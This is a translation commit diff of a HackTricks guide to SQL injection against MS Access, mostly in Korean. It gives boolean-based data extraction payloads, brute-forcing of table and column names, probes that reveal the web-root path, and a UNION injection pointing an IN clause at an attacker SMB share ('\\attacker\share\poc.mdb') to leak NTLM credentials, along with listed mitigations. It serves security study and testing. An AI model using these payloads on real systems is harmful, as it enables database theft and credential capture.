Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md

This commit is contained in:
Translator 2025-07-11 10:08:14 +00:00
parent af987ba730
commit ec96c318fb

View File

@ -2,26 +2,26 @@
{{#include ../../banners/hacktricks-training.md}}
## 온라인 플레이그라운드
## Online Playground
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
## DB 제한 사항
## DB Limitations
### 문자열 연결
### String Concatenation
문자열 연결은 `& (%26)``+ (%2b)` 문자를 사용하여 가능합니다.
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### 댓글
### Comments
MS Access에는 댓글이 없지만, NULL 문자로 쿼리의 마지막을 제거하는 것이 가능하다고 합니다:
MS Access에는 주석이 없지만, NULL 문자로 쿼리의 마지막을 제거하는 것이 가능한 것으로 보입니다:
```sql
1' union select 1,2 from table%00
```
쿼리의 구문을 항상 수정할 수 있습니다:
쿼리의 구문을 수정할 수 있습니다:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
@ -50,21 +50,21 @@ Therefore, you need to know a **valid table name**.
> [!WARNING]
> 이 방법을 사용하면 테이블 이름을 알 필요 없이 현재 테이블의 값을 추출할 수 있습니다.
**MS Access**는 **`'1'=2='3'='asd'=false`**와 같은 **이상한 구문**을 허용합니다. 일반적으로 SQL 인젝션은 **`WHERE`** 절 안에 있으므로 이를 악용할 수 있습니다.
**MS Access**는 **`'1'=2='3'='asd'=false`**와 같은 **이상한 구문**을 허용합니다. 일반적으로 SQL 인젝션은 **`WHERE`** 절 안에 있기 때문에 이를 악용할 수 있습니다.
MS Access 데이터베이스에 SQLi가 있고 (알거나 추측한) 한 **열 이름이 username**이라는 것을 알고 있으며, 그 필드를 **추출**하고 싶다고 가정해 보십시오. 체인 등호 기법을 사용할 때 웹 앱의 다양한 응답을 확인하고 **`Mid`** 함수를 사용하여 부분 문자열을 얻는 **부울 인젝션**으로 콘텐츠를 추출할 수 있습니다.
MS Access 데이터베이스에 SQLi가 있고, 한 **열 이름이 username**이라는 것을 알고 (또는 추측하고) 그 필드를 **추출**하고 싶다고 가정해 보세요. 체인 등호 기법을 사용할 때 웹 앱의 다양한 응답을 확인하고 **`Mid`** 함수를 사용하여 부분 문자열을 얻는 **부울 인젝션**으로 콘텐츠를 추출할 수 있습니다.
```sql
'=(Mid(username,1,3)='adm')='
```
테이블의 **이름**과 **열**을 알고 있다면, `Mid`, `LAST``TOP`의 조합을 사용하여 부울 SQLi를 통해 **모든 정보를 유출**할 수 있습니다:
테이블의 **이름**과 **열**을 알고 있다면, `Mid`, `LAST``TOP`을 조합하여 부울 SQLi를 통해 **모든 정보를 유출**할 수 있습니다:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_온라인 플레이그라운드에서 확인해 보세요._
_Feel free to check this in the online playground._
### 테이블 이름 강제 추측
### 테이블 이름 무차별 대입
체인 이퀄스 기법을 사용하여 **테이블 이름을 강제 추측**할 수 있습니다:
chaining equals 기법을 사용하여 **테이블 이름을 무차별 대입**할 수 있습니다:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
@ -79,15 +79,15 @@ _온라인 플레이그라운드에서 확인해 보세요._
### 열 이름 강제 추측
현재 열 이름을 **강제 추측**할 수 있습니다. chaining equals trick을 사용하여:
체인 등호 트릭을 사용하여 **현재 열 이름을 강제 추측**할 수 있습니다:
```sql
'=column_name='
```
또는 **group by**를 사용하여:
**group by**로:
```sql
-1' GROUP BY column_name%00
```
다른 테이블의 열 이름을 다음과 같이 무차별 대입 공격할 수 있습니다:
다른 테이블의 열 이름을 강제로 추측할 수도 있습니다:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
@ -95,26 +95,36 @@ _온라인 플레이그라운드에서 확인해 보세요._
```
### 데이터 덤프
우리는 이미 [**체인 등호 기법**](ms-access-sql-injection.md#chaining-equals-+-substring) **을 사용하여 현재 및 다른 테이블에서 데이터를 덤프하는 방법**에 대해 논의했습니다. 하지만 다른 방법도 있습니다:
우리는 이미 [**체인 이퀄스 기법**](ms-access-sql-injection.md#chaining-equals-+-substring) **을 사용하여 현재 및 다른 테이블에서 데이터를 덤프하는 방법**에 대해 논의했습니다. 하지만 다른 방법도 있습니다:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
간단히 말해, 쿼리는 성공 시 "200 OK"를 트리거하거나 그렇지 않을 경우 "500 Internal Error"를 트리거하기 위해 "if-then" 문을 사용합니다. TOP 10 연산자를 이용하면 처음 10개의 결과를 선택할 수 있습니다. 이후 LAST를 사용하여 10번째 튜플만 고려할 수 있습니다. 이러한 값에 대해 MID 연산자를 사용하면 간단한 문자 비교를 수행할 수 있습니다. MID와 TOP의 인덱스를 적절히 변경하면 모든 행의 "username" 필드 내용을 덤프할 수 있습니다.
간단히 말해, 쿼리는 성공 시 “200 OK”를 트리거하고 그렇지 않을 경우 “500 Internal Error”를 트리거하기 위해 “if-then” 문을 사용합니다. TOP 10 연산자를 이용하면 처음 10개의 결과를 선택할 수 있습니다. 이후 LAST를 사용하여 10번째 튜플만 고려할 수 있습니다. 이러한 값에 대해 MID 연산자를 사용하면 간단한 문자 비교를 수행할 수 있습니다. MID와 TOP의 인덱스를 적절히 변경하면 모든 행의 “username” 필드 내용을 덤프할 수 있습니다.
### 시간 기반
### 시간 기반 (블라인드) 트릭
Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
Jet/ACE SQL 자체는 **SLEEP()** 또는 **WAITFOR** 함수를 네이티브로 노출하지 않으므로 전통적인 시간 기반 블라인드 인젝션은 제한적입니다. 그러나 여전히 **느리거나 응답하지 않는 네트워크 리소스에 접근**하도록 강제하여 측정 가능한 지연을 도입할 수 있습니다. 엔진이 결과를 반환하기 전에 파일을 열려고 시도하기 때문에, HTTP 응답 시간은 공격자가 제어하는 호스트에 대한 왕복 지연을 반영합니다.
```sql
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
```
UNC 경로를 다음에 지정하십시오:
### 기타 흥미로운 함수들
* 높은 대기 시간 링크 뒤의 SMB 공유
* `SYN-ACK` 후 TCP 핸드셰이크를 드롭하는 호스트
* 방화벽 싱크홀
- `Mid('admin',1,1)` 위치 1에서 길이 1의 부분 문자열을 가져옵니다 (초기 위치는 1).
- `LEN('1234')` 문자열의 길이를 가져옵니다.
- `ASC('A')` 문자의 ASCII 값을 가져옵니다.
- `CHR(65)` ASCII 값에서 문자열을 가져옵니다.
- `IIF(1=1,'a','b')` if then.
- `COUNT(*)` 항목 수를 계산합니다.
원격 조회로 인해 추가된 초는 불리언 조건에 대한 **아웃 오브 밴드 타이밍 오라클**로 사용될 수 있습니다 (예: 주입된 조건이 참일 때만 느린 경로 선택). Microsoft는 KB5002984에서 원격 데이터베이스 동작 및 관련 레지스트리 킬 스위치를 문서화합니다. citeturn1search0
## 테이블 열거하기
### 기타 흥미로운 함수
- `Mid('admin',1,1)` 위치 1에서 길이 1의 부분 문자열 가져오기 (초기 위치는 1)
- `LEN('1234')` 문자열의 길이 가져오기
- `ASC('A')` 문자에 대한 ASCII 값 가져오기
- `CHR(65)` ASCII 값에서 문자열 가져오기
- `IIF(1=1,'a','b')` if then
- `COUNT(*)` 항목 수 세기
## 테이블 열거
[**여기**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)에서 테이블 이름을 가져오는 쿼리를 볼 수 있습니다:
```sql
@ -132,9 +142,9 @@ order by MSysObjects.name
### 웹 루트 디렉토리 전체 경로
**웹 루트 절대 경로에 대한 지식은 추가 공격을 용이하게 할 수 있습니다**. 애플리케이션 오류가 완전히 숨겨지지 않은 경우, 존재하지 않는 데이터베이스에서 데이터를 선택하려고 시도하면서 디렉토리 경로를 발견할 수 있습니다.
**웹 루트 절대 경로에 대한 지식은 추가 공격을 용이하게 할 수 있습니다**. 애플리케이션 오류가 완전히 숨겨지지 않은 경우, 존재하지 않는 데이터베이스에서 데이터를 선택하려고 시도함으로써 디렉토리 경로를 발견할 수 있습니다.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access는 **웹 디렉토리 전체 경로를 포함하는 오류 메시지**로 응답합니다.
@ -150,18 +160,51 @@ MS Access는 **웹 디렉토리 전체 경로를 포함하는 오류 메시지**
### .mdb 파일 이름 추측
**데이터베이스 파일 이름(.mdb)**은 다음 쿼리로 추론할 수 있습니다:
**데이터베이스 파일 이름 (.mdb)**은 다음 쿼리로 추론할 수 있습니다:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
여기서 **name\[i]는 .mdb 파일 이름**이고 **realTable은 데이터베이스 내의 존재하는 테이블**입니다. MS Access는 항상 오류 메시지를 트리거하지만, 유효하지 않은 파일 이름과 유효한 .mdb 파일 이름을 구별하는 것은 가능합니다.
여기서 **name[i]는 .mdb 파일 이름**이고 **realTable은 데이터베이스 내의 존재하는 테이블**입니다. MS Access는 항상 오류 메시지를 트리거하지만, 유효하지 않은 파일 이름과 유효한 .mdb 파일 이름을 구별하는 것이 가능합니다.
### 원격 데이터베이스 접근 및 NTLM 자격 증명 도용 (2023)
Jet 4.0 이후 모든 쿼리는 `IN '<path>'` 절을 통해 *다른* `.mdb/.accdb` 파일에 있는 테이블을 참조할 수 있습니다:
```sql
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
```
사용자 입력이 **IN** 뒤의 부분(또는 `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` 호출)에 연결되면, 공격자는 자신이 제어하는 호스트를 가리키는 **UNC 경로**를 지정할 수 있습니다. 엔진은 다음을 수행합니다:
1. 원격 데이터베이스를 열기 위해 SMB / HTTP를 통해 인증을 시도합니다;
2. 웹 서버의 **NTLM 자격 증명**을 유출합니다(강제 인증);
3. 원격 파일을 구문 분석합니다 잘못된 형식이거나 악의적인 데이터베이스는 여러 번 패치된 Jet/ACE 메모리 손상 버그를 유발할 수 있습니다(예: CVE-2021-28455).
실용적인 주입 예:
```sql
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
```
Impact:
* Net-NTLMv2 해시의 아웃오브밴드 유출 (중계 또는 오프라인 크래킹에 사용 가능).
* 새로운 Jet/ACE 파서 버그가 악용될 경우 원격 코드 실행 가능성.
Mitigations (레거시 Classic ASP 앱에도 권장):
* `HKLM\Software\Microsoft\Jet\4.0\Engines` (및 해당 ACE 경로) 아래에 `AllowQueryRemoteTables = 0` 레지스트리 값을 추가합니다. 이는 Jet/ACE가 `\\`로 시작하는 원격 경로를 거부하도록 강제합니다.
* 네트워크 경계에서 아웃바운드 SMB/WebDAV 차단.
* `IN` 절 안에 들어갈 수 있는 쿼리의 모든 부분을 정리/매개변수화합니다.
강제 인증 벡터는 2023년 Check Point Research에 의해 재검토되었으며, 레지스트리 키가 없을 때 완전히 패치된 Windows Server에서 여전히 악용 가능함을 증명했습니다. citeturn0search0
### .mdb 비밀번호 크래커
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html)는 Microsoft Access 95/97/2000/XP 또는 Jet Database Engine 3.0/4.0의 주요 데이터베이스 비밀번호를 복구하는 데 사용할 수 있는 무료 유틸리티입니다.
## 참조
## References
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- [Microsoft KB5002984 Jet/ACE를 구성하여 원격 테이블 차단](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
- [Check Point Research NTLM 강제 인증을 위한 Microsoft Access 연결 테이블 악용 (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
{{#include ../../banners/hacktricks-training.md}}